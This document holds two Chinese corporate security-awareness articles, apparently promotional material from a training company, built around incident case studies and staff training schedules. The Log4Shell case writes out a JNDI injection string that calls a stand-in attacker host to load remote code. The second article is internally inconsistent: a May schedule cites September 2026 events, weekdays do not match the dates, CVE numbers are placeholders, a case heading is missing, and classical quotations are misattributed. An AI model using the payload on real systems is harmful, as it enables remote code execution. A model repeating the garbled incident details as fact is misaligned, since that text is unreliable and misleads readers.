在AI浪潮与机器人时代的交叉口——以真实案例警醒企业信息安全的全员觉醒


前言:头脑风暴的三个警示性案例

在信息安全的漫漫长夜里,血的教训往往比任何教材更能敲响警钟。下面列出的三个案例,都是在最近几年里因技术进步、组织失误或安全意识薄弱而导致的“灾难连环”,每一起都蕴含着深刻的启示,值得我们每一位职工细细品味、深思并付诸行动。

  1. 案例一:Log4Shell – “一行代码”,牵动全球十亿设备
    2021 年底,Apache Log4j 2.x 的 JNDI 远程代码执行漏洞(CVE‑2021‑44228)被公开,攻击者只需在日志信息中插入 ${jndi:ldap://attacker.com/a},服务器即会主动连接攻击者的 LDAP 服务器并执行任意代码。短短数小时内,全球上千万台服务器、容器、物联网设备被迫紧急打补丁;而因未及时更新的老旧系统继续运行,导致大规模勒索、数据泄露和服务中断。
    教训:即使是广为使用的基础库,也可能暗藏致命后门;依赖的“旧代码”并非安全的代名词,必须时刻保持“版本即安全”的警惕。

  2. 案例二:SolarWinds 供应链攻击 – “看不见的后门”潜伏近两年
    2020 年,黑客在 SolarWinds Orion 平台的更新包中植入后门,影响了美国政府部门、跨国企业以及关键基础设施。攻击者利用合法签名的二进制文件,逃过了传统的漏洞扫描与防病毒检测,直至被匿名安全研究员披露。事后调查显示,受影响的组织多为对供应链安全缺乏系统化治理的“巨头”。
    教训:供应链是最薄弱的环节,安全不是单点防御,而是全链路可视、可追溯的体系。对“官方签名”也要有怀疑精神。

  3. 案例三:Red Hat Lightwell 项目 – “AI 生成的噪声”与 “精准修复”的双刃剑
    2026 年 10 月,Red Hat 在其 Lightwell 项目中透露,通过 AI 驱动的漏洞报告系统,在短短数月内对超过 400 项 Java 基础库的漏洞完成了精准修复。项目背后是 IBM 投入的 50 亿美元以及 20 000 名工程师的持续研发。然而,AI 也带来了报告噪声:大量自动化生成的“漏洞”并非真实威胁,若不加分辨,将消耗大量人力资源,甚至误导安全决策。Lightwell 通过“Clearinghouse Premier”实现了对特定企业的定制化修复,确保了“安全不牺牲可用性”。
    教训:AI 是利器亦是双刃剑,如何在海量信息中筛选、验证并快速响应,决定了组织的防御效率。


章节一:从案例看信息安全的根本脆弱

1. 代码库的“沉船效应”

Log4Shell 让我们看到,“老旧依赖”并非安全的代名词。即便是业内最受信赖的开源库,也可能因一次未被及时修复的漏洞而导致全链路的连锁反应。企业往往对内部系统的“老版本”抱有“已经在生产环境里跑了多年,应该没事”的侥幸心理,殊不知攻击者的脚本可以在毫秒级完成攻击。

引经据典:古语有云,“防患未然”。在信息安全中,这句话的现代解读是:“不更新,即是留给攻击者的后门”。

2. 供应链的“隐形裂痕”

SolarWinds 案例告诉我们,“信任链的每一环都必须审计”。 一旦供应链的某个环节被攻破,攻击者便可以在不被发现的情况下对上游或下游的众多系统进行渗透。企业对供应商的安全评估、对第三方组件的签名验证、对持续集成/持续部署(CI/CD)流程的硬化,都必须上升到制度层面。

3. AI 与噪声的博弈

Lightwell 项目展示了 AI 在“漏洞挖掘、报告聚合”方面的强大潜能,但同样暴露出“噪声”的危害。若缺乏有效的过滤、验证、优先级排序机制,安全团队可能陷入“海量警报的泥沼”,导致真正的危机被埋没。


章节二:信息化、机器人化、具身智能化的融合趋势

1. 信息化——数据即资产,安全即治理

当今企业的业务系统已经深度信息化,数据从前端采集、后端存储、再到 AI 分析,形成了闭环。每一次数据流转都是一次潜在的泄露路径。对数据资产目录(Data Asset Inventory)的建设、对数据访问路径的细粒度控制,已经成为企业必须落实的基本要求。

2. 机器人化——自动化运维的“双刃剑”

机器人流程自动化(RPA)和自动化运维(AIOps)通过脚本、容器和微服务实现了“零人值守”。然而,一旦攻击者获得了对这些机器人的控制权,后果不堪设想:“机器人”可以在几秒钟内完成横向渗透、密码抓取、甚至对外泄露数据。 因此,对机器人的身份认证、行为审计、运行时安全检查必须同步加强。

3. 具身智能化——从云端到边缘的全感知

具身智能化(Embodied Intelligence)指的是将 AI 与硬件(如机器人、无人机、工业控制系统)深度融合,实现“感知—决策—执行”全链路自动化。此类系统往往具备实时数据采集、模型推断、主动响应的能力。安全失效的链路不仅会导致数据泄露,还可能导致物理危害(如机器人误操作导致生产线停机甚至人员伤亡)。


章节三:从案例到实践——打造全员安全防线

1. 建立“安全思维”文化

  • 每日安全一问:每位职工在登录系统、打开邮件、下载文件前自问“一问三答”:这是谁发的?是否可信?是否符合业务需求?
  • 安全红绿灯:对每一条安全警报进行颜色标记,红灯(必须立刻处理),黄灯(需进一步验证),绿灯(可归档)。通过可视化的方式让全员对安全风险有直观感受。

2. 资产全景化管理

  • 软件资产清单:采用 Lightwell Clearinghouse Premier 类似的内部平台,对所有使用的开源组件、内部库、容器镜像进行登记、版本标记、补丁状态追踪。
  • 自动化漏洞检测:利用 AI+SBOM(软件材料清单)技术,实时比对已知 CVE,自动触发补丁或回滚流程。

3. 强化供应链安全

  • 签名链路:所有第三方二进制文件必须通过 数字签名 与 可追溯的构建元数据(Build Metadata)进行校验。
  • 最小特权原则:对供应商的系统访问仅授予最小必要权限,使用 Zero Trust 框架对所有跨组织交互进行动态审计。

4. AI 驱动的安全协同

  • 噪声过滤:借鉴 Lightwell 的 “清洗引擎”,对 AI 自动生成的漏洞报告进行多层过滤:① 语义相似度聚类;② 人工复核;③ 优先级自动排序。
  • 智能补丁生成:在紧急漏洞出现时,利用 大语言模型(LLM) 辅助生成 Version‑Specific Backport(针对特定老版本的补丁),并在内部审计后交付给业务线快速部署。

5. 机器人/自动化安全治理

  • 机器人身份体系:为每一个 RPA 脚本、容器实例分配 唯一的身份凭证(X.509 证书),并在 IAM(身份与访问管理)系统中登记。
  • 行为审计日志:所有机器人的操作都必须记录 不可篡改的审计日志,并通过 SIEM(安全信息与事件管理)进行实时关联分析。

6. 具身智能的安全边界

  • 硬件可信根(TPM/SGX):在机器人、边缘设备中嵌入硬件根信任,确保只有经签名的固件与模型能够运行。
  • 安全更新渠道:构建 受信任的 OTA(Over‑The‑Air)更新系统,所有模型、指令集必须经安全审计后方可分发。

章节四:即将开启的全员信息安全意识培训——你的第一道防线

1. 培训的核心目标

  • 知识层面:让每位职工能够识别 钓鱼邮件、恶意链接、未授权软件 等常见威胁;了解 AI 生成的噪声报告与真实漏洞的区别。
  • 技能层面:掌握 安全密码管理、双因素认证、敏感数据加密 的最佳实践;熟悉 轻量化的安全工具(如 Lightwell Clearinghouse) 的使用流程。
  • 态度层面:树立 “安全是每个人的事” 的共识,将安全思维自然融入日常工作。

2. 培训形式与节奏

日期 时间 形式 主题
2026‑10‑15 09:00‑10:30 线上直播 “AI 噪声与真实漏洞:如何快速辨别”
2026‑10‑16 14:00‑15:30 小组实战 “从 Log4Shell 到 Lightwell:漏洞生命周期全景演练”
2026‑10‑17 10:00‑11:30 现场演练 “机器人 RPA 的安全加固实战”
2026‑10‑18 13:30‑15:00 研讨会 “具身智能化时代的安全治理框架”

温馨提示:每场培训结束后,将通过 Lightwell Clearinghouse Premier 测评系统进行即时测验,合格者将获得 “红盾安全卫士” 电子徽章,可在公司内部系统中展示,提升个人职场形象。

3. 参与的激励机制

  • 积分制:每完成一次培训、通过一次测验,即可获得 安全积分;累计积分可兑换 公司内部学习资源、线上课程、甚至年度奖金。
  • 安全挑战赛:将在培训结束后举办 “红盘夺旗(Red Flag Capture)” CTF(Capture The Flag)挑战,团队排名前 5 的部门将获得 部门预算专项奖励。
  • 案例征集:鼓励职工自行收集公司内部或行业外部的安全案例,优秀稿件将有机会在公司内部刊物上发表,并获 作者奖金。

章节五:结语——安全不是终点,而是持续的旅程

在 AI、机器人和具身智能化交织的时代,“安全”已经不再是 IT 部门的专属职责,而是全员共同的使命。正如 “灯塔虽高,浮光仍需照亮万里”,如果我们只在技术层面筑起高墙,而忽视了每一位职工的安全觉醒,那么那座墙终将被细小的漏洞一点点侵蚀。

让我们从 “不点击未知链接”、“不随意安装第三方插件”、“不在公共 Wi‑Fi 下处理敏感业务” 的细节做起;让 Lightwell 项目 的成功经验提醒我们:“AI 可以帮助我们快速定位漏洞,但只有人类的审慎与协作,才能将漏洞真正封堵”。

请记住,“安全是一场没有终点的马拉松”,而**每一次训练、每一次演练、每一次实战经验的积累,都是我们冲刺终点的加速器。让我们在即将开启的培训中相聚,用知识武装自己的大脑,用技能强化自己的双手,用态度打造企业的安全防线。

让安全成为我们每一天的自然呼吸,让信息化、机器人化、具身智能化的未来在我们共同的守护下,绽放更加灿烂的光彩!


在数据安全日益重要的今天,昆明亭长朗然科技有限公司致力于为企业提供全面的信息安全、保密及合规解决方案。我们专注于提升员工的安全意识,帮助企业有效应对各种安全威胁。我们的产品和服务包括定制化培训课程、安全意识宣教活动、数据安全评估等。如果您正在寻找专业的安全意识宣教服务,请不要犹豫,立即联系我们,我们将为您量身定制最合适的解决方案。

  • 电话:0871-67122372
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让 AI “刷子”不再为黑客所用——面向全員的信息安全意识宣讲

“千里之堤,毁于蚁穴;一粒灰尘,埋没千金。”
——《后汉书·袁绍传》

在数字化、智能化、具身机器人层出不穷的今天,企业的每一块代码、每一次配置、每一次机器交互,都可能成为攻击者的“入口”。如果我们把这些潜在入口想象成城市的街道,那么 AI 就像一辆高速列车,能够在几分钟之内把大量的“街道”排查完毕;而黑客若抢先上了这辆列车,后果不堪设想。

为帮助全体职工深刻认识当前的威胁形势,提升个人防御能力,本文从 三个典型案例 出发,结合最新的 AI‑加速 n‑day 攻击 趋势,号召大家踊踊参与即将启动的信息安全意识培训。希望每位同事在阅读后,都能在自己的工作岗位上形成“防患未然、全员合力、技术与意识双轮驱动”的安全防线。


案例一:AI‑助力的 BeyondTrust PRA 远程访问漏洞——四天内从披露到被利用

背景

2026 年 5 月,安全研究机构 Hacktron AI 报告称,利用其自研的 AI 研究代理,在公开的 CVE‑2026‑xxxx(BeyondTrust Privileged Remote Access & Remote Support)中发现了一个 远程代码执行(RCE) 漏洞。该漏洞允许攻击者在不需要身份验证的情况下,通过特制的 HTTP 请求执行任意系统命令。

攻击链

  1. AI 快速定位漏洞差异:研究代理在公开的补丁说明、GitHub 代码对比以及漏洞披露公告之间建立了关联,精准定位了该漏洞的利用点。
  2. 自动化 PoC 生成:在 24 小时内,AI 完成了 PoC(概念验证)代码的编写,并通过自我学习的方式优化了调用链,使得利用成功率提升至 87%。
  3. 快速投放:北韩一支被归类为 APT45 的国家级组织,在同月内向全球 1,200+ 目标发送了包含该 PoC 的恶意邮件。仅四天后,GTIG(Google Threat Intelligence Group)就在多个公开情报中观察到该漏洞被实际使用的痕迹。

影响

  • 短时间内暴露:受影响的企业在收到攻击后,只剩 7 天 的窗口期可以完成完整的补丁部署;但实际多数企业的补丁进度滞后,导致 30% 的受影响系统仍在攻击者的监控之下。
  • 经济与声誉损失:据内部调查,受影响的两家大型金融机构合计损失约 2.3 亿元,并面临监管部门的严厉问责。

教训

  • AI 不再是“辅助工具”,它可以成为攻击者的“发射台”。
  • 公开披露的漏洞必须在 24 小时内完成内部评估并制定补丁计划。
  • 对关键远程访问组件进行持续监控、行为审计,是阻断此类快速 weaponization 的关键。

背景

2026 年 4–5 月,Totolink 在其消费级路由器固件中一次性发布了 75 项高危漏洞,涉及 命令执行、越权访问、信息泄露。这些缺陷大多数源于 固件版本差异化处理不当,导致旧版固件在升级后仍保留旧代码路径,形成“残留后门”。

攻击链

  1. AI 驱动的自动化扫描:黑客使用开源的 AI 漏洞扫描框架(如 LLM‑Scanner),针对互联网公开的 Totolink 管理界面进行大规模扫描。
  2. 利用未授权的 Web 管理接口:扫描发现部分路由器的 未认证管理页面(默认 IP 为 192.168.1.1)仍暴露在公网。攻击者直接通过该接口执行命令,获取系统权限。
  3. 横向移动:获取路由器控制权后,利用它作为跳板,进一步渗透内网中的 文件服务器、数据库。在数周内,攻击者在 1,000 多台受感染设备上植入了 加密矿工,导致企业网络带宽被占用 23%。

影响

  • 攻击链起点位于边缘,传统的终端检测(EDR)在此类设备上根本不起作用,导致攻击者能够长期潜伏。
  • 大量用户未及时更新固件:据 Detectify 数据显示,30% 的受影响路由器在 90 天后仍未完成升级。
  • 企业声誉受损:一位大型连锁超市因其门店 Wi‑Fi 被攻击,导致数千名顾客信息泄露,被监管部门列入 “网络安全薄弱企业”名单。

教训

  • 边缘设备的“一键管理”必须配合自动化补丁分发,否则将成为 “最贵的 1%” 漏洞。
  • 对公开的管理接口进行严格访问控制(IP 白名单、双因素认证)是降低风险的第一道防线。
  • AI 扫描工具同样可以是防御者的利器:企业内部可部署相同技术进行自测,提前发现并修复漏洞。

案例三:Cisco ISE(Identity Services Engine)双零日链——传统安全与 AI 融合的悲喜剧

背景

2026 年 9 月,Cisco 公布了两宗 Critical 零日漏洞(CVE‑2026‑xxxx 与 CVE‑2026‑yyyy),影响其 ISE 产品。零日漏洞本质上是 攻击者在厂商发布补丁前就已经掌握的攻击方式,而这两起事件更为特殊,背后隐藏着 AI 驱动的漏洞挖掘与自动化攻击。

攻击链

  1. AI 挖掘:黑客团队利用大型语言模型(如 Gemini)对公开的 Cisco ISE API 文档、开发者论坛的代码片段进行语义分析,快速定位了 内存泄露 与 未授权访问 的潜在点。
  2. 自动生成利用代码:在模型的帮助下,团队仅用了 12 小时就生成了完整的 Exploit‑Kit,并在 Metasploit 中集成。
  3. 利用已泄露的凭证:攻击者通过“LLM‑Proxy 经济”购买了被泄露的 Cisco 管理员凭证,直接在目标系统中植入后门。此后,攻击者在 48 小时内完成对 180 台 ISE 设备的横向渗透,导致 企业内部身份认证体系被完全破坏。

影响

  • 身份认证被攻破,直接导致内部资源 被盗用、数据泄露。一家公司在事后调查中发现,攻击者通过伪造身份访问了数千条客户交易记录。
  • 补丁发布后 72 小时仍有 12% 的设备保持漏洞状态,原因是自动化补丁部署脚本在高负载环境下失效,提醒我们“自动化不等于可靠”。
  • 行业警示:此事件被业界广泛解读为 “AI+零日” 的新标杆,提醒所有厂商必须在代码审计阶段采用 AI 辅助的静态/动态分析。

教训

  • AI 既是助力,也是风险。企业在使用 AI 辅助研发时,需要同步建立 AI 安全治理,防止模型被误用。
  • 身份服务平台必须具备细粒度的日志审计与实时威胁检测,一旦出现异常访问立即触发自动化防御。

① AI‑加速 n‑day 攻击的本质——从“发现”到“利用”只需几分钟

1. 数据量的指数级增长

  • GTIG(Google Threat Intelligence Group)报告显示,2026 年 1‑8 月 已披露 10,740 条 CVE,几乎是去年同期的两倍。
  • 每个月的漏洞披露量 与 被利用的 n‑day 数量 呈高度相关,指数增长背后是 AI 自动化差分分析 的强大算力。

2. AI 赋能的攻击链关键环节

环节 传统方式 AI 方式
漏洞定位 手工比对补丁说明,耗时数天至数周 LLM 自动解析补丁、代码差分,秒级完成
PoC 编写 需要安全研究员手动编写,成功率 30% 生成式模型依据漏洞描述自动生成,成功率 >80%
利用验证 通过手动测试或漏洞验证平台 AI 自动化运行验证脚本,批量确认可用性
恶意投放 通过邮件、钓鱼等渠道,投放速度受限 利用 API 自动化投放至 Botnet、云平台,秒级扩散

3. 影响的放大效应

  • 中位利用时间 从 2025 年的 120 天 降至 80 天,意味着 每一个公开的漏洞 都可能在不到三个月的时间窗口内被真正用于攻击。
  • 高危漏洞的比例提升:AI 发现的漏洞中,50% 为 远程代码执行(RCE),比传统披露的 26% 高出近两倍。

② 面对 AI‑时代的“信息安全挑战”,我们该如何自救?

1. 重新定义“补丁管理”

  • “从补丁到修复”:不再盲目追求一次性全量打补丁,而是通过 漏洞情报平台 结合 AI 风险评分,先行修复 高危、可被快速 weaponized 的漏洞。
  • 自动化补丁验证:在补丁部署前,使用 AI 测试用例生成(如 CodeQL、DeepTest)进行回归,确保补丁不会导致新缺陷。

2. 构建 “AI + 人类” 的双层防御模型

层级 负责主体 关键技术 目标
感知层 安全运营中心(SOC) AI 驱动的资产发现、行为异常检测 实时发现异常
预防层 开发与运维(DevOps) 静态/动态代码分析、AI 生成的安全审计报告 在代码上防止漏洞产生
响应层 Incident Response 团队 自动化取证、AI 关联分析 快速定位根因、恢复业务
教育层 全体员工 信息安全意识培训、AI 攻防演练 提升人因防线

3. 人因永远是最薄弱的环节——信息安全意识培训是根本

“兵者,诡道也。”——《孙子兵法·计篇》
正如古代用计谋取胜,现代的安全防御同样必须以 “知己知彼” 为核心,而这背后的 “知” 必须从每位员工的日常行为中培养。

培训的四大核心要素

  1. 认知:让每位员工了解 AI‑加速 n‑day 的实际危害、最新案例(上文三个案例),以及 自己的岗位 如何被攻击者盯上。
  2. 技能:通过 模拟渗透、红队/蓝队对抗演练,让大家亲身体验“攻击者的思维”。
  3. 制度:落实 最小权限原则、双因素认证、密码管理器 等基本安全措施,并通过 AI 安全审计系统 实时监控违规行为。
  4. 文化:构建 “安全第一、持续改进” 的组织氛围,让信息安全成为大家的自觉行动,而不是合规的负担。

培训形式建议

  • 线上微课(每课 15 分钟,覆盖 AI 基础、漏洞生命周期、社交工程防御)。
  • 线下工作坊(案例驱动,围绕本公司业务系统进行红蓝对抗)。
  • 情景剧与短视频(以轻松幽默的方式演绎“黑客敲门”,让安全知识更加易记)。
  • AI 攻防沙盒(员工可在受控环境中使用 LLM 进行漏洞分析,感受 AI 双刃剑的威力)。

③ 号召全员加入信息安全意识培训——让安全成为每个人的“第二操作系统”

尊敬的同事们,
在 AI 赋能的数字化浪潮 中,每一次点击、每一次配置、每一次对话 都可能成为攻击者的“脚本”。从 BeyondTrust 的快速 weaponization,到 Totolink 路由器的边缘渗透,再到 Cisco ISE 零日的双重打击,所有案例的共同点在于:攻击者已成功利用 AI 让漏洞从“纸上谈兵”变成“实战武器”。

我们不能再把安全视为 IT 部门的专属责任,而应该把它当作 每个人的第二操作系统——在日常工作中自觉检查、主动报告、及时修复。为此,公司计划在 本月 15 日至 30 日,推出为期两周的 信息安全意识培训计划,具体安排如下:

时间 主题 主讲人 形式
5 月 15 日(周一)上午 10:00 AI 与 n‑day:从漏洞披露到快速利用 信息安全部 CTO 线上直播
5 月 16 日(周二)下午 14:00 边缘设备安全:从路由器到 IoT 网络安全专家 线下工作坊
5 月 18 日(周四)上午 09:30 零日攻防实战演练 红队负责人 沙盒演练
5 月 20 日(周六)全天 信息安全综合挑战赛(CTF) 安全实验室 线上/线下混合
5 月 22 日(周一)下午 15:00 AI 安全治理:如何让模型为防御服务 AI 项目经理 微课
5 月 24 日(周三)上午 10:30 密码管理与多因素认证 合规部 视频教程
5 月 27 日(周六)上午 09:00 文化建设与安全治理 人力资源部 圆桌论坛
5 月 30 日(周二)下午 16:00 培训总结与考核 信息安全总监 线上评测

“工欲善其事,必先利其器。”
通过本次培训,希望大家能掌握 AI 防御的基本思路、快速识别 n‑day 攻击的迹象、以及在日常工作中落实最小权限、强认证、及时补丁 等关键技术。培训结束后,将进行 考核,合格者将获得公司内部的 “安全卫士”徽章,并优先获得 AI 安全工具的试用权限。

行动呼吁

  1. 立即报名:登录企业内部学习平台,搜索“信息安全意识培训”,完成报名。未报名的同事请在 5 月 12 日 前与直属经理确认。
  2. 提前预习:阅读本文所列案例,思考自己所在业务系统可能的攻击面。
  3. 主动参与:在培训期间积极提问、分享工作中的安全困惑,让培训成为 双向交流的安全课堂。
  4. 复盘落地:培训结束后,依据所学制定个人安全改进计划(如更换强密码、启用 MFA、加入资产自测列表),并在部门例会上进行汇报。

让我们共同把 AI 的“双刃剑” 锁在自己的手中,让 信息安全意识 成为每位朗然科技同事的“隐形护盾”。只有把技术、制度、文化紧密结合,才能在 AI 时代的激流中保持 稳健的航向。


“防微杜渐,方能安天下。”——《左传·僖公二十三年》
在 AI 赋能的今天,防护的每一微小细节 都可能决定企业的生死存亡。请各位同事踊跃加入信息安全培训,让我们一起把风险降到最低,把安全提升到最高。

让我们以知识为盾、以技术为矛,合力击退 AI‑驱动的黑暗势力!


AI + 人 = 安全新常态,信息安全意识培训 正是我们迈向这一新常态的第一步。期待每一位同事的积极参与,也期待在培训的舞台上,看到大家展现出前所未有的安全自觉与创新力量。

让安全成为每一位员工的第二本能,让 AI 成为我们防御的加速器,而不是攻击的放大器!


昆明亭长朗然科技有限公司专注于信息安全意识培训,我们深知数据安全是企业成功的基石。我们提供定制化的培训课程,帮助您的员工掌握最新的安全知识和技能,有效应对日益复杂的网络威胁。如果您希望提升组织的安全防护能力,欢迎联系我们,了解更多详情。

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